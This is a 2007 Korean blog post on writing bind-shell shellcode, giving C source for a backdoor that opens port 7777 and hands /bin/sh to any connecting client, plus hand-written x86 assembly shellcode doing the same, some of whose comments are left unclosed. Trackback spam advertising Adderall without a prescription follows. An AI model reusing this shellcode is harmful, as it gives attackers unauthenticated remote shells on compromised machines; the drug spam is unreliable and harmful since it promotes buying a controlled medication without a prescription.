2007년 08월 20일
bind 쉘_코드_만들기
테스트는 젠투 리눅스에서 했습니다
설명은 조금있다가 덧붙일게욤~
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 7777
int serv_sock;
int clnt_sock;
struct sockaddr_in serv_addr;
char *sh[2]={"/bin/sh",NULL};
int main()
{
if(fork()==0){
serv_sock=socket(PF_INET,SOCK_STREAM,0);
serv_addr.sin_family=AF_INET;
serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
serv_addr.sin_port=htons(PORT);
bind(serv_sock,(struct sockaddr*)&serv_addr,sizeof(serv_addr));
listen(serv_sock,1);
clnt_sock=accept(serv_sock,NULL,NULL);
dup2(clnt_sock,0);
dup2(clnt_sock,1);
dup2(clnt_sock,2);
execve(sh[0],sh,NULL);
}
}
.global main
main:
/*if(fork==0)*/
xor %eax,%eax
movb $0x2,%al
int $0x80
test %eax,%eax
jnz exit
call eoc
start:
pop %esi
/*serv_sock=socket(PF_INET,TCP_STREAM,0);*/
xor %eax,%eax
xor %ebx,%ebx
movl $0x2,(%esi)
movl $0x1,0x4(%esi)
movl $0x0,0x8(%esi)
mov $0x1,%bl
mov $0x66,%al
leal (%esi),%ecx
int $0x80
movl %eax,%edx
/*bind(serv_sock,(struct sockaddr *)&serv_addr,sizeof(serv_addr)); 사이즈는 16임*/
xor %eax,%eax
xor %ebx,%ebx
movl $0x2,0x10(%esi)
movl $0x77,0x12(%esi)
movl %edx,(%esi)
leal 0x10(%esi),%ecx
movl %ecx,0x4(%esi)
movl $0x16,0x8(%esi)
mov $0x2,%bl
mov $0x66,%al
leal (%esi),%ecx
int $0x80
/*listen(serv_sock,1);
xor %eax,%eax
xor %ebx,%ebx
movl %edx,(%esi)
movl $0x1,0x4(%esi)
mov $0x4,%bl
mov $0x66,%al
leal (%esi),%ecx
int $0x80
/*clnt_sock=accept(serv_sock,0,0);
xor %eax,%eax
xor %ebx,%ebx
movl %edx,(%esi)
movl $0x0,0x4(%esi)
movl $0x0,0x8(%esi)
mov $0x5,%bl
mov $0x66,%al
leal (%esi),%ecx
int $0x80
movl %eax,%edx
/*dup2(clnt_sock,0);
xor %eax,%eax
xor %ebx,%ebx
movl %edx,%ebx
movl $0x0,%ecx
mov $0x3f,%eax
int $0x80
/*dup2(clnt_sock,1);
inc %ecx
mov $0x3f,%eax
int $0x80
/*dup2(clnt_sock,2);
inc %ecx
mov $0x3f,%eax
int $0x80
/*execve(sh[0],sh,NULL);
movl $0x6e69622f,(%esi)
movl $0x0068732f,0x4(%esi)
movl $0x0,0x8(%esi)
movl %esi,0xc(%esi)
movl 0xc(%esi),%ebx
leal 0xc(%esi),%ecx
movl $0x0,%edx
movb $0xb,%al
int $0x80
exit:
xor %eax,%eax
mov $0x1,%al
int $0x80
eoc:
call start
/*꼭 gdb로 disas했을때 레지스터 순서대로 던져야 제대로 먹힘 ㅠㅠ 갠히 안다고 깝치다가 하루 날려먹었네 ㅡ..ㅡ*/
/*일단 되는데로 짯기 때문에 코드크기는 다음시간에 조절을 ㅡ..ㅡ*/
이 글과 관련있는 글을 자동검색한 결과입니다 [?]
- TCP 기반 서버/클라이언트 by 시시
- UDP 기반 서버/클라이언트 by 시시
- 주소 체계와 데이터 정렬 by 시시
- vortex level 0 by 시시
- ICMP - 98 공격 소스 by 미친감자
# by | 2007/08/20 03:19 | gentoo | 트랙백(3)





☞ 내 이글루에 이 글과 관련된 글 쓰기 (트랙백 보내기) [도움말]
제목 : Inject adderall.
Adderall treating anxiety in adults. Adderall online. Adderall withdrawal. Adderall. Smoking adderall. Pictures of adderall xr....more
제목 : Adderall.
Adderall without a prescription. Adderall medication. Adderall. Buy adderall no prescription....more
제목 : Buy adderall online no presc..
Adderall xr. Buy adderall without a prescription. Adderall side effects. Adderall overnight no prescription. Adderall prescription. Adderall. Who makes adderall. Snort adderall xr....more